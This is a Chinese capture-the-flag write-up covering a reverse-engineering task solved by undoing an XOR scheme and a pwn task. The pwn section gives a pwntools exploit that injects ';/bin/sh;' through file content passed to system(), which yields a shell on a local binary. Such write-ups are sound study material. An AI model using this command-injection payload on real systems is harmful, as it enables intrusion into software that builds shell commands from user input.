RESERVE
Easycpp
查壳发现无壳,用ida打开,没有找到main函数,搜索字符串发现了
.rdata:0041BC68 0000000F C Please input:
找到它所在的函数
int sub_413E30()
{
sub_4112F8(&unk_421008);
sub_411276(std::cout, "Please input: ");
sub_4111DB((const char *)&unk_41BC4C, (unsigned int)Src);
if ( j_strlen(Src) >= 0xE && j_strlen(Src) <= 0x20 )
{
strcpy_s(Str, 0x20u, Src);
sub_411302();
sub_411352(Str);
}
return sub_411302();
}
这里其实就是主函数,sub_411D8就是相当于scanf,输入的字符串存在str里面长度为14-32。sub_411302()没什么用处,干扰用的。下面那个函数里面的函数就是把输入的数分三组异或。
int __usercall sub_413910@<eax>(int a1@<xmm0>, char *Str)
{
char v2; // cl
size_t i; // [esp+D0h] [ebp-8h]
sub_4112F8(&unk_421008);
for ( i = 0; i < j_strlen(Str); ++i )
{
if ( i % 3 )
{
if ( i % 3 == 1 )
v2 = Str[i] ^ 0x20;
else
v2 = Str[i] ^ 0x21;
Str[i] = v2;
}
else
{
Str[i] ^= 0x1Fu;
}
}
return sub_411302(1, (int)Str, a1);
}
看完了这段之后后面就没有信息了,但把输入的数存到了str里,那后面就肯定会用到str,我们可以在汇编这个界面,右键str,选List cross references to
data:0041E6EC Str db 20h dup(?) ; DATA XREF: sub_413E30+82↑o
.data:0041E6EC ; sub_413E30+97↑o ...
.data:0041E70C unk_41E70C db ? ; ; DATA XREF: sub_4119C0+2A↑o
.data:0041E70C ; sub_4119C0+39↑o ...
.data:0041E70D db ? ;
.data:0041E70E db ? ;
.data:0041E70F db ? ;
.data:0041E710 db ? ;
.data:0041E711 db ? ;
.data:0041E712 db ? ;
.data:0041E713 db ? ;
.data:0041E714 db ? ;
.data:0041E715 db ? ;
.data:0041E716 db ? ;
.data:0041E717 db ? ;
.data:0041E718 db ? ;
.data:0041E719 db ? ;
.data:0041E71A db ? ;
.data:0041E71B db ? ;
.data:0041E71C db ? ;
可以显示出
Up o sub_413E30+82 push offset Str; Dst
Up o sub_413E30+97 push offset Str; Str
Up o sub_417B70:loc_417BE0 push offset Str; Str2
第一个和第二个是上面函数的,第三个就是之后会出现的str,进入到它所在的函数
int __userpurge sub_417B70@<eax>(int a1@<xmm0>, char *Str)
{
size_t i; // [esp+D0h] [ebp-14h]
sub_4112F8(&unk_421008);
if ( Str )
{
for ( i = 0; i < j_strlen(Str); ++i )
Str[i] ^= i;
if ( !j_strcmp(Str, ::Str) )
{
sub_411276(std::cout, "g");
sub_411276(std::cout, "0");
sub_411276(std::cout, "0");
sub_411276(std::cout, "d");
}
}
return sub_411302(1, 0, a1);
}
很明显的就是一个比较函数,一个参数是我们输入后经过异或的答案,第二个就是比较的,在这里::Str是我们输入变换后的,str是比较的。找到这个str发现是在栈中,那就是后来生成的了,ida无法找到,我们就通过od来找,打开od,根据偏移的位置定位到sub_417B70在od所在的位置,下断点之后运行,一步步走到strcmp前面,可以发现一段字符串
00B57BE5 8B45 08 mov eax,dword ptr ss:[ebp+0x8] ; easyCpp.00B5E000
00B57BE8 50 push eax
00B57BE9 E8 3797FFFF call easyCpp.00B51325 //call strcmp
00B57BEE 83C4 08 add esp,0x8
00B57BF1 85C0 test eax,eax
00B57BF3 75 4C jnz short easyCpp.00B57C41
00B57BF5 68 5CBCB500 push easyCpp.00B5BC5C ; g
堆栈 ss:[00A5F8FC]=00B5E000 (easyCpp.00B5E000), ASCII "abafwv&cmgcnhl"
eax=00000001
这里的ASCII就是比较的字符串,前面看到这段代码其实还有一个异或的操作,我们也可以往前找到异或的字符串
堆栈 ss:[003FF634]=00B5E000 (easyCpp.00B5E000), ASCII "access denieda"
最后写脚本:
l1="abafwv&cmgcnhl"
flag=[]
for i in range(len(l1)):
if i%3==1:
flag.insert(i,chr(ord(l1[i])^0x20))
elif i%3==2:
flag.insert(i,chr(ord(l1[i])^0x21))
else:
flag.insert(i,chr(ord(l1[i])^0x1F))
print("".join(flag))
EasyRe
涉及ollvm混淆,以后补充
PWN
Filesystem
先查保护
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Ida打开
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char **v3; // [rsp+0h] [rbp-40h]
__int64 s; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v3 = a2;
v8 = __readfsqword(0x28u);
s = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
sub_400966();
while ( 1 )
{
while ( 1 )
{
memset(&s, 0, 0x20uLL);
sub_400A4A(&s, 0LL);
if ( strncmp((const char *)&s, "Create", 6uLL) )
break;
sub_400ABA(&s, "Create");
}
if ( !strncmp((const char *)&s, "Edit", 4uLL) )
{
sub_400B35(&s, "Edit");
}
else if ( !strncmp((const char *)&s, "Read", 4uLL) )
{
sub_400BE7(&s, "Read");
}
else if ( !strncmp((const char *)&s, "Checksec", 8uLL) )
{
sub_400C72(&s, "Checksec");
}
else
{
if ( !strncmp((const char *)&s, "Exit", 4uLL) )
exit(0);
if ( !strncmp((const char *)&s, "B4cKd0oR", 8uLL) )
{
sub_400D46(&s, "B4cKd0oR");
}
else
{
printf((const char *)&s, "B4cKd0oR", v3);
puts("No Such Choicen");
}
}
}
}
主函数
sub_400966();是对缓冲区的处理,sub_400A4A(&s,0LL);是一个显示目录的函数,这个程序大概的意思就是对文件·的创建和处理
找一找字符串,发现了system,但没有/bin/sh
LOAD:00000000004004EC 00000007 C system
找打system所在的函数,在Checksec里面
unsigned __int64 __fastcall sub_400C72(__int64 a1, __int64 a2)
{
unsigned __int64 v3; // [rsp+8h] [rbp-98h]
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v5; // [rsp+98h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 0x80uLL);
printf("Input the Index:", a2, &s);
v3 = sub_4009D1();
if ( unk_6029E0 > v3 )
{
snprintf(&s, 0x80uLL, "echo "%s"| md5sum", (char *)&unk_6020E0 + 144 * v3 + 48);
system(&s);
}
else
{
puts("No Such Index");
}
return __readfsqword(0x28u) ^ v5;
}
Snprint是把第四个参数存到第一个参数所对应的位置里,通过对整个程序的阅读可以知道(char *)&unk_6020E0 + 144 * v3 + 48其实是在Edit功能里面输入的内容,所以我们只需要在Edit输入时输入/bin/sh就可以拿到shell了。比赛的时候就考虑到了这里,但后面写exp的时候输入的/bin/sh不知道为什么怎么都不对,之后看了别人的wp才发现要用分隔符‘;’隔开,输入;/bin/sh;
Exp
from pwn import *
r=process('./filesystem')
r.recvuntil("> ")
r.sendline("Create")
r.recvuntil("Input Filename: ")
r.sendline("gayfei")
r.recvuntil("> ")
r.sendline("Edit")
r.recvuntil("Input the Index:")
r.sendline("0")
r.recvuntil("Input File Content: ")
r.sendline('";/bin/sh;"')
r.recvuntil("> ")
r.sendline("Checksec")
r.recvuntil("Input the Index:")
r.sendline("0")
r.interactive()
这题在看了安恒官方给出的wp后发现还有个漏洞,是堆漏洞的利用off-by-one,这里暂时还没有掌握,到时候在做补充。
Hackmoon
会单独写一篇关于uaf漏洞的介绍 https://tearorca.github.io/uaf%E6%BC%8F%E6%B4%9E/